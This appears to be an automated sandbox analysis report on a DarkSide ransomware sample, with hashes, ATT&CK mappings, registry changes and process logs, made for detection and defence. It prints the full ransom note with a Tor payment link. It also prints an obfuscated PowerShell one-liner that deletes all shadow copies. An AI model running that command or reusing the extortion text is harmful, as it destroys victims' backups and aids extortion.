darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
92s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
27-01-2024 19:37

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Report Analysis Logs

General

Target

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Size

59KB
MD5

885fc8fb590b899c1db7b42fe83dddc3
SHA1

c104056f9a926d27a2082f0510c97b09cb0eb3e5
SHA256

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d
SHA512

2b8e49ad84434dcaf98635120ac54bfa7e55bb61bf9d0e3f1f25ab81e950f638311d2121217bf5840834778d5e137551e24b89da02f12dc6be99d755c54f4c13
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3XsY23W58:0x7Fu4/ihrhDTV1ylHXZ58

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.cc8279bb.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (169) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\cc8279bb.BMP"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\cc8279bb.BMP"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\Desktop\WallpaperStyle = "10"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Modifies registry class 5 IoCs

Processes:

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\cc8279bb\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\cc8279bb.ico"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cc8279bb	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cc8279bb\ = "cc8279bb"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\cc8279bb\DefaultIcon	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\cc8279bb	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

pid	process
2764	powershell.exe
2764	powershell.exe
4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSecurityPrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeTakeOwnershipPrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeLoadDriverPrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSystemProfilePrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSystemtimePrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeProfSingleProcessPrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeIncBasePriorityPrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeCreatePagefilePrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeBackupPrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeRestorePrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeShutdownPrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeDebugPrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSystemEnvironmentPrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeRemoteShutdownPrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeUndockPrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeManageVolumePrivilege	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 33	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 34	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 35	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 36	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeBackupPrivilege	4616	vssvc.exe
Token: SeRestorePrivilege	4616	vssvc.exe
Token: SeAuditPrivilege	4616	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

description	pid	process	target process
PID 4328 wrote to memory of 2764	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe	powershell.exe
PID 4328 wrote to memory of 2764	4328	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
"C:\Users\Admin\AppData\Local\Temp\0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2764

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4616

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
1e674e03a1292678c1aeab7010a77a6c

SHA1
de005829eda4db62abec97cfeaa98121448da018

SHA256
9bbd6466b0a2aa528cb66cfc3729f91f623b1d5d6d24cb4ebea3159e8284d3ea

SHA512
36dde97decf9342cd5314ea62842bdd0f3c0698eee4a782244879eb07c0a9ca4de8f3dfbb3bc03a5fd1af7720cbd47976a3e44434ae20a900507143bee9e02d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3a0rvieq.4u4.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\README.cc8279bb.TXT
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/2764-1-0x000001D23BBD0000-0x000001D23BBF2000-memory.dmp

Filesize
136KB

Download
memory/2764-13-0x000001D239AE0000-0x000001D239AF0000-memory.dmp

Filesize
64KB

Download
memory/2764-12-0x000001D239AE0000-0x000001D239AF0000-memory.dmp

Filesize
64KB

Download
memory/2764-11-0x00007FFCE2B60000-0x00007FFCE3621000-memory.dmp

Filesize
10.8MB

Download
memory/2764-16-0x00007FFCE2B60000-0x00007FFCE3621000-memory.dmp

Filesize
10.8MB

Download